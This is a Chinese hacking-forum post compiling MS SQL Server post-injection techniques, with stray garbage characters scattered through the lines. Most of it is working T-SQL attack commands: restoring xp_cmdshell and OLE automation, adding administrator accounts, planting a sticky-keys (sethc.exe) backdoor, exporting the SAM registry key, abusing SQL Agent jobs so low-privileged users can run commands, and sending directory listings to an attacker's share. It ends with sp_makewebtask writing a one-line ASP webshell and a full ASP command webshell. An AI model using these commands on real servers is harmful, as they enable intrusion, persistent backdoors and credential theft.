找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2320|回复: 0
打印 上一主题 下一主题

XP_CMDSHELL恢复方法大全

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:37:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1 未能找到存储过程'master..xpcmdshell'.  EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号; ~  F. k, d8 I4 B5 \5 L% ^
恢复方法:查询分离器连接后,
: A7 {- F" k1 q- S第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int # D$ l/ U( L5 s; @* W
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' ! a3 B' G; F5 M, w3 F6 P+ o
然后按F5键命令执行完毕
/ G- a6 s$ Q3 j# c! P  k6 u( s$ U8 s$ O
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)/ N% G" s" W' m$ a
恢复方法:查询分离器连接后,
+ c7 [+ |! {5 t# {% e* K3 v: ]; b" h$ i第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell": p2 v/ e7 C) ^8 x( r! m! i
第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'' J! Q$ w$ |5 d" }$ ~- ~5 D
然后按F5键命令执行完毕/ R+ {9 t) t9 S" M& ^+ N

1 S! k( m" j7 [' O3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
8 V7 A) a  b, F# `- O; n$ N* Q- z恢复方法:查询分离器连接后,
' W% O4 a& M) a4 j+ B第一步执行:exec sp_dropextendedproc 'xp_cmdshell'+ y3 ]# ^! a3 [4 S( b0 i) [
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'      
8 o- F. a9 K) a0 ?然后按F5键命令执行完毕
& B& k) o8 \2 E" O6 a+ O4 ?1 Y7 K, c) }& c8 a7 {3 R8 k2 K5 j1 K
4 终极方法.& ^& s: u, Q) `$ D
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
  o4 N; P' ]5 {+ y) S查询分离器连接后,; Y$ @4 H# L5 x8 z8 H5 O
2000servser系统:, `- f( P8 @& U; [1 p# W
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'
! I5 X- _" z4 [, x/ K( Q2 j! {" X! C' h( F# `: [# g
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add': N3 _0 }& C2 E/ H( }; m& K4 n7 {

- T* S2 J9 T5 ]* ]. Lxp或2003server系统:
: e& R; _7 e: K7 N/ Q8 Y  O1 L# ~) ^
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
0 F- e% C# X& ?# i* @* f* Z+ j" R$ L( U% ~: f+ ?" R! g' p- b
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'. v- j' p3 \( G2 H
) F: R) H3 ^" g! h6 c
+ v, k* X+ q: o- C
五个SHIFT
! I& A( k" U. G9 Ideclare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
: u% [. d: O- u0 c9 a
5 a, W/ O8 C0 x7 p' [% V5 }4 U* d" s, T/ Adeclare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
& Z4 Q* T/ Q! y1 `& z" j& K
0 F1 g. X) h; W/ f8 A4 axp_cmdshell执行命令另一种方法- }* H3 R8 S- I/ \8 n- w+ K
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add' 4 }. Y  u1 _8 c) t- n
  b: ^2 a( y+ d: c9 v4 ^  |
判断存储扩展是否存在) P8 g0 g! Y, h3 A  A
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
  {- l  n# V0 Q返回结果为1就OK8 O# s4 q4 q  q- \  y: u& X2 L5 x
0 n' g! g$ n& p% ~. H2 |6 Y
' T$ H) Z: W0 m4 B0 q
上传xplog70.dll恢复xp_cmdshell语句:8 n6 Z" {0 T" R" Z: k+ }
sp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'5 B6 }1 n) t/ Y( L9 t/ I
6 O/ a2 E" ^/ d1 n6 v1 k$ k# Z
否则上传xplog7.0.dll- R" b6 O, C" a- ?; A, D
Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'+ x2 e. e" J# h- ~+ u: i
3 W  R2 l4 {6 J* ?
* w4 @" j! X5 d7 Z
( x( o( u0 N2 H
首先开启沙盘模式:
$ K7 `) @4 Y7 A! x% r6 @$ q5 Kexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
6 K, k0 l1 p$ X' M
8 R* e" S4 ^5 H: t然后利用jet.oledb执行系统命令
% s3 Q  j% j9 M1 X  pselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')0 m8 v+ i: s: E" _2 H
返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1--  发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了
+ C  l$ m. g. X% s7 o" f7 k1 d3 o& C

8 l- O/ T: }* ~, v0 s' ~3 O( e) j- G+ g$ L, s2 q, Z" z0 `/ O
恢复过程sp_addextendedproc 如下:
- n" ]) @$ z# D" gcreate procedure sp_addextendedproc --- 1996/08/30 20:13
; Q  _3 a1 ^! f1 q5 ~& Q7 k2 y( ~1 r@functname nvarchar(517),/* (owner.)name of function to call */ 4 R/ m7 H6 {& V0 k9 s- S; w
@dllname varchar(255)/* name of DLL containing function */ - G; r- Y5 I' L& M/ m
as 4 x4 c1 O2 Z/ w" X! x4 p4 G
set implicit_transactions off
5 ?( u9 X) ^" j, w% gif @@trancount > 0
: T+ `! o6 z- K: {9 i+ Gbegin
9 Y( d( r: Y" w$ ^! `raiserror(15002,-1,-1,'sp_addextendedproc')
  Q' w8 i1 D! ^* I3 S" n8 Oreturn (1) ' ^8 D2 O* P) y( R% d% r
end
: j$ Y9 F' U' w/ ?dbcc addextendedproc( @functname, @dllname)
' c- I/ B  X+ }/ X) [return (0) -- sp_addextendedproc   p  T6 W7 K$ p  H" n# s5 `" D" n
GO 6 r  K2 U  `) g/ K

, m; `! Y5 J3 p' n, T3 ~( w" B& m, F2 |4 M- A

4 C5 P+ p: e7 f; g导出管理员密码文件" m, \/ B% {% p- W; w
sa默认可以读sam键.应该。1 G2 ]6 Q9 ]# N; R5 x, Y1 X- ?7 m
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg2 J. {9 d( e6 I! T7 d  K) q
net user administrator test1 I9 n* [' ~6 n/ O( X  M+ {
用administrator登陆.  F+ F1 W! e; a5 o, x/ M
用完机器后3 X* C, n7 l  A* V6 D- x; ]
reg import c:\test.reg
1 Q' ]. ~" Q9 d2 G根本不用克隆.
5 ~8 }9 ~; t7 v* t. S! _! e找到对应的sid. 5 T3 l/ t: R) L3 g, M. F
: M3 h' _7 d- G
5 N4 H( {" P& u  E/ \' L

7 a) i, _. ?7 U( q; g3 `' O. U恢复所有存储过程, w% x8 U7 h& a
use master 5 R0 v  R7 l/ m
exec sp_addextendedproc xp_enumgroups,'xplog70.dll'
) K( N1 I0 q, N5 V* F' P+ x8 y0 Rexec sp_addextendedproc xp_fixeddrives,'xpstar.dll' 9 W& p2 s# ^( o+ B
exec sp_addextendedproc xp_loginconfig,'xplog70.dll'
) S( B2 {+ K' _, M. R7 d. Y8 z4 ?exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
' Z) V7 B7 u' C+ P) Sexec sp_addextendedproc xp_getfiledetails,'xpstar.dll'   N+ f# O) Y8 A
exec sp_addextendedproc sp_OACreate,'odsole70.dll'
# L" L0 G6 D+ j' Mexec sp_addextendedproc sp_OADestroy,'odsole70.dll'
, t1 {% w8 j; |4 O* O  C9 jexec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
% `5 X3 k/ j1 |' i+ ]) E, \exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll' ( W. s6 @5 H! d
exec sp_addextendedproc sp_OAMethod,'odsole70.dll' " l: @  b3 B- L4 n/ b. |
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
( a% p, m2 g0 m: b5 gexec sp_addextendedproc sp_OAStop,'odsole70.dll'
: ]2 y: X4 _' Q( L* O+ e& Iexec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
5 ^" x1 y% {/ p$ ?5 `& }" Z% Xexec sp_addextendedproc xp_regdeletekey,'xpstar.dll' 5 G! [) m3 r; _* P5 E$ `
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
9 e! Y1 ?7 Z/ F" M+ T+ R  pexec sp_addextendedproc xp_regenumvalues,'xpstar.dll' 8 f9 K, v% _& O$ t8 l% t
exec sp_addextendedproc xp_regread,'xpstar.dll'
% @- y8 ?4 Q4 u8 z* Mexec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' ) [+ W# i. v9 q- j8 ^; L
exec sp_addextendedproc xp_regwrite,'xpstar.dll' & z' v4 j& C) i% I" v- {
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'0 B% L7 J. K" @; ?# I# V

- S% [" l+ z6 y! x, P$ y
" x/ Q3 ^; v7 k3 o$ K9 z建立读文件的存储过程
* b4 Y0 y$ E2 n; xCreate proc sp_readTextFile @filename sysname! x& d2 ~! [( b8 |2 Z5 n
as
7 p! n1 @6 y6 T, z- u1 W# l% `6 `* u# ?( L+ A8 U# A) I. q
    begin + f) Q7 v7 |. n; Y3 S0 L
    set nocount on 8 f  O2 k0 }) {: P' A5 d
    Create table #tempfile (line varchar(8000))8 Y1 c) I1 q% |/ u' I
    exec ('bulk insert #tempfile from "' + @filename + '"')
& S6 M) A4 h" M* p    select * from #tempfile
( h" j1 d  ~( s. i9 ^    drop table #tempfile
1 Z6 m7 d, s4 G8 U! lEnd
4 _$ X. X( K7 \. R  M' ^/ \3 y# O  T  E4 m6 Q8 E
exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件
" `$ E& g% ^% B- ]$ ^' i查看登录用户
0 Y: n: I# I9 a) |# dSelect * from sysxlogins
: T. t: ^& l) Y$ j( _- r8 C+ ]2 o8 b+ e* m
把文件内容读取到表中2 d! ?1 C1 K2 C
BULK INSERT tmp from "c:\test.txt"
$ a" E+ I, R7 y, YdElete from 表名 清理表里的内容: H* r; M( M* a- C1 H6 _! s
create table b_test(fn nvarchar(4000));建一个表,字段为fn
3 g  X* d% W5 _( D2 T* H+ ?
) F# k: u" ~# |4 C
2 V2 @  y; M9 g; r加sa用户
% ?( A7 v8 i8 }0 c/ U1 n7 B& `exec master.dbo.sp_addlogin user,pass;
1 b$ w" y4 |: K* m3 T6 c/ Wexec master.dbo.sp_addsrvrolemember user,sysadmin: f& o1 H# b* V! e
* L0 s, o/ J3 ^# P/ b% T- n. n: ^
6 K; h1 r3 A3 A; u3 P
0 z6 ~# {, U+ Y- @7 h1 @( |
读文件代码
' k9 R: |9 N/ g7 ]& A7 D/ Adeclare @o int, @f int, @t int, @ret int5 G! J7 }/ @7 r+ G
declare @line varchar(8000)% t; u( z# [+ C) l  R
exec sp_oacreate 'scripting.filesystemobject', @o out# v% e) `& Y2 g* H" r; v
exec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1
; R% n- E8 H4 C- A4 b; gexec @ret = sp_oamethod @f, 'readline', @line out1 h/ A" b4 b$ W; T
while( @ret = 0 )$ K2 l3 e. S+ t, _5 o6 M' T6 o+ ~! r
begin
1 c8 {8 B" T8 V) Sprint @line6 u+ J5 |! T8 v, {/ I* e
exec @ret = sp_oamethod @f, 'readline', @line out
1 o8 o- R9 X, Rend
  |6 H6 v8 o& G1 h7 G
7 U; b) s2 g& W$ m  Z5 a+ g& e; Q5 L9 R$ z. C+ N, I
写文件代码:3 W* X1 J9 E' e& g, I) O0 u. ]
declare @o int, @f int, @t int, @ret int6 a# U  a8 O  E1 f$ a0 s6 U+ F; q
exec sp_oacreate 'scripting.filesystemobject', @o out2 T- c$ V& q1 p8 m
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1
5 }  y/ w/ X: W7 O' C6 z: E7 P5 y' X: wexec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》
+ I+ k5 v/ @2 u+ }6 z. {3 I8 u5 @6 P# X# Q# A. b# F
% @1 q/ R4 L+ M5 y: e6 z9 i
添加lake2 shell
6 f; F- I6 \) Rsp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'
$ F( j( }+ z" E$ ^9 ~: v4 V4 Isp_dropextendedproc xp_lake2
- y7 V7 W+ T; E0 }EXEC xp_lake2 'net user'
' r% G; M' M. s8 W0 Y/ |$ ?6 ]
! @0 e4 j+ `" E
3 l# [( T8 i$ P5 f5 c得到硬盘文件信息   |7 @% d: l2 p3 h
--参数说明:目录名,目录深度,是否显示文件 % `3 L7 ~6 G) |
execute master..xp_dirtree 'c:' ) h6 e' b1 m) J( U4 K
execute master..xp_dirtree 'c:',1
- Q! `. x+ _/ ?. S( ?7 j5 xexecute master..xp_dirtree 'c:',1,1
7 O/ E6 B) u# ^4 M1 }
' E9 G$ @5 m3 u. B' O. d0 N5 ]+ L, n9 o
读serv-u配置信息
" @, I3 G0 e5 ]1 U' v% e8 Jexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'
7 X- L+ b# ?$ S& L$ `+ eexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'- P" N- ?: a6 K7 e4 A

. l, {1 F$ p# n8 C! t通过xp_regwrite写SHIFT后门
; @" A8 S0 c, E5 W5 \2 ]exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--
5 d; b1 B4 \$ A2 X# K
9 D! M! S4 x1 e, L+ f% v4 M% C: o2 M# q7 a

0 q+ k+ A; |% g% _4 a找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';9 \0 A" n% ?7 D$ T3 Q- L
exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了
' ~: I- s5 ]1 ?$ v+ C; v2 i
* P6 k/ U+ a: J5 r% |& bEXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
8 m/ V: C: Y. J& y5 ]9 d& L( d: v3 d2 m9 V+ S4 T
$ S( d  p8 D9 }7 U: |  F$ }
# @# J  z4 _0 l- E2 d6 _, p4 ?
sql server 2005下开启xp_cmdshell的办法
/ F& S: s1 \; r
2 k4 K( _- \8 ~2 ?EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
7 H+ K- _6 @  [* C
# {. f. N& G8 Q! ]SQL2005开启'OPENROWSET'支持的方法:. V; c3 M" q9 X- l$ R# E* z

/ J( d2 ?2 W' s' S9 bexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;2 c5 d! @* b# F. N: U

' E% a. u* M8 r$ M7 P0 B0 c) TSQL2005开启'sp_oacreate'支持的方法:6 z7 D8 ^; ~6 V# X; f) t& E
7 h$ j! K! \1 q/ H) n) o
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;7 U3 |6 R3 k3 r. u6 r
1 i0 W! O5 d  l, }
7 `8 V! e: b% ]% v  ^  U
/ G+ ~9 L# n" e) l; G  a9 l

- d: P, Y/ X' U+ ~6 ~% D
& Z; r9 [5 j, L6 i  N! a! K; q, L! Z7 D: M& I* A7 x! Z  T
" f8 [6 |, \1 v' P5 B

3 @9 g: n, X; x8 h# ^6 s1 }, b
5 Y& I6 L& O( I' V3 H
8 i* I3 N7 y( I% u$ g# u# J" T) b! Q. g1 k- T* O, D8 m
5 j  I; i9 o, N1 q* m0 a

8 W; ^  ~' R; K4 m4 n$ U$ o1 n' z) n. }" t6 Y; I

4 A# X. d6 }: ?& N9 |% W8 J' ]' F, A7 j; W* p5 m6 x

4 ^6 G0 @3 E3 P1 _  [& t8 _: \$ c1 k% D
8 H/ m( G) K3 a6 j% J
* H7 s$ L- D, {- _7 h1 H' X! T6 h8 ~
, |9 X4 J/ a! S4 }/ o: J! t0 P

* t9 ^3 V) }3 {6 e* h' y+ m( g, U( _

( V/ J* }: I/ o9 O1 @8 f' @0 c5 a以下方面不知道能不能成功暂且留下研究哈:) o0 \' n  g. O- N5 |
4)
4 K1 O- ?. u# ause msdb; --这儿不要是master哟
: @$ `* N9 `/ ~2 _& fexec sp_add_job @job_name= czy82 ;/ U0 C1 ^3 n* }5 y+ O1 X8 g
exec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;: e4 ^* U  \3 C7 g: v4 }
exec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;  V+ L, [' x* Q. _+ m6 j0 d9 r
exec sp_start_job @job_name= czy82 ;
3 V0 i8 v( A" M5 N- K0 c2 R; H0 T+ t2 x" _5 Z
利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以
6 O! M9 B, M$ d9 Q. z( E执行tsql语句了.
5 M' s, w0 k9 m% p* q对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名
5 |# m" A! I4 ]6 @/ L7 _第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)* {) Z6 M9 j: J
net start SQLSERVERAGENT1 M$ P  B0 {/ j4 ~7 f

9 P, x) C8 K' a1 ~1 _9 ~对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的( {9 @5 c" u/ Z" J( S3 y
USE msdb
( W$ S' Q; O. U% s/ s& E4 R+ TEXEC sp_add_job @job_name = GetSystemOnSQL ,8 [0 x  L& r$ G* r5 R; u5 y
@enabled = 1,5 e. y4 F" M% {. q' Y
@description = This will give a low privileged user access to
# I9 R. I$ n/ c- w! {0 J- Y6 P- Mxp_cmdshell ,
, S1 a  g# H2 V0 L1 ^@delete_level = 1
; s5 [, }" e6 W/ ?+ _% NEXEC sp_add_jobstep @job_name = GetSystemOnSQL ,
9 z6 M" t4 g! r# _+ ^) X% n@step_name = Exec my sql ,
' [5 D# n; _+ Q@subsystem = TSQL ,4 ~( \; H/ `& t9 W
@command = exec master..xp_execresultset N select exec2 p, z9 a' q* O! I" N' `
master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master
) S, {  k6 x6 d- r1 s6 lEXEC sp_add_jobserver @job_name = GetSystemOnSQL ,
7 X7 }! A# _1 }3 s8 u8 a# K" G* t@server_name = 你的SQL的服务器名
2 _. l7 c/ s+ G4 wEXEC sp_start_job @job_name = GetSystemOnSQL
# F  I8 |. Q4 E5 Q) q, \3 t+ O( T  `$ o( P- d
不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以/ p. t: d# q" j: l
才让我们可以以public执行xp_cmdshell" F7 H& m% c3 }! E4 h, k6 X
7 U8 i/ [0 L7 M; b0 |0 j  N
5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)3 C" Z  n8 a$ j* g3 f
在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=29684 F1 s+ m; ?. v5 A- l) O4 ~% ]3 s
3 a5 q) l# s2 \( V
USE msdb0 q# e5 K4 L0 U* X* D5 d: C9 x
EXEC sp_add_job @job_name = ArbitraryFilecreate ,* K# Q- s' J% B' {( E" [1 _6 m: X; T
@enabled = 1,
5 \/ q& I$ s3 z3 Z" A@description = This will create a file called c:\sqlafc123.txt ,0 S+ n( n2 g! ]* O- @  ?
@delete_level = 1. t; \. R  u# z9 e" q& U' H& J
EXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,, d5 b8 ^4 s! O% ^* @9 X1 R
@step_name = SQLAFC ,6 y% e, Z, x" |$ x
@subsystem = TSQL ,. A( {/ i$ {  D% Q) Z" ]
@command = select hello, this file was created by the SQL Agent. ,
3 A. m' p9 S+ P6 G+ @@output_file_name = c:\sqlafc123.txt - m9 ^% t6 d4 Y% ^( B
EXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,! p! `3 Q) L2 X. ?) O' H
@server_name = SERVER_NAME
& o' E, L" \& f" m" jEXEC sp_start_job @job_name = ArbitraryFilecreate 5 k/ Q, ]# K' l

& x6 K: k0 A& `  H" o7 d. `8 T: J如果subsystem选的是:tsql,在生成的文件的头部有如下内容" l4 u: K3 E5 Z' t( I1 b

* E8 H# ?8 c. c! N3 D, `, L??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:195 a, K( E1 h' z% t
----------------------------------------------' }. E# t- W) g1 b$ L7 q3 o
hello, this file was created by the SQL Agent./ Z) X" C9 g  [7 l
1 m6 d  M/ g5 |( u3 U+ x
(1 ?????)( Y3 a1 {' ?  A- W

' L7 U' o' F6 j9 b& k( h) w所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员1 T4 Y2 e: y6 @6 l& z/ t- B
命令的vbs文件到启动目录!
  g4 p1 R2 k' L- P9 L* B6 V6 _
/ \- ?% f* d, X$ k: D6)关于sp_makewebtask(可以写任意内容任意文件名的文件)
7 F2 p; d5 L$ ^# i3 g1 w1 z. Q关于sp_MScopyscriptfile 看下面的例子2 n5 p% t: x8 J# u
declare @command varchar(100) ) e% D$ N$ T/ \6 R
declare @scripfile varchar(200)
, `7 d% O, h. \9 y0 E6 b  o! _set concat_null_yields_null off . U0 y- _( e1 S
select @command= dir c:\ > "\\attackerip\share\dir.txt"   u1 ?! \6 q+ Q1 ^* W/ k
select @scripfile= c:\autoexec.bat > nul" | @command | rd "
" `" K) h  _) J" v; T6 G$ Pexec sp_MScopyscriptfile @scripfile , " T1 }+ E/ q' K& T

( B1 j( i- n  p, p& y. z1 |这两个东东都还在测试试哟, U' w6 c' F. ~
让MSSQL的public用户得到一个本机的web shell* l7 a! T' g- t6 h+ c8 O

: @- T  A: ^( x( I5 V* a; k9 V! isp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,
4 m. T7 S, E- ?- Q" P--@query= select <img src=vbscript:msgbox(now())>
3 O( h8 f8 t- {; q4 Z0 W. L--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%> + p0 u5 X' y0 w9 b1 a0 R
@query= select ; ?1 j" E  h. i" B
<%On Error Resume Next
' P' D' S4 b4 z8 H; U5 JSet oscript = Server.createObject("wscript.SHELL")
; [6 }/ Q: ~5 g! O7 D. d# H* bSet oscriptNet = Server.createObject("wscript.NETWORK")
- e" T8 Q* D6 f; rSet oFileSys = Server.createObject("scripting.FileSystemObject")
5 S5 j, o6 `. e, e9 b& H% sszCMD = Request.Form(".CMD")
( {4 P1 P+ `2 N+ NIf (szCMD <>"")Then 1 A- q5 d9 [) {$ f4 S
szTempFile = "C:\" & oFileSys.GetTempName() ; e6 s6 e' s  ~0 h, V
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) 7 W  {% F8 ]. m) f/ I
Set oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0) + k8 n. b+ U0 H: R" R
End If %>
5 r4 S) g* w, w6 M) W9 n6 z5 \. G<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="OST">
/ r' L  A5 j: s- y3 b, ^/ B<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run"> ; I6 k9 R1 Y& r: U
</FORM><RE> 0 Z0 L3 c3 t$ B7 V, T6 D2 C' O& ^
<% If (IsObject(oFile))Then
  D6 K+ `% K0 p5 FOn Error Resume Next - O0 Q1 M+ ~. A: _" u9 ]2 b2 O
Response.Write Server.HTMLEncode(oFile.ReadAll) 6 i+ r* D# ]) y
oFile.Close $ B" ]7 q; B& U1 N7 g2 n% H
Call oFileSys.deleteFile(szTempFile, True)
! J3 N; ^' h: a5 g' lEnd If%> ) f# h8 r: S1 f/ j5 [7 J5 x
</BODY></HTML> ) }4 m2 j  F6 @5 w
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表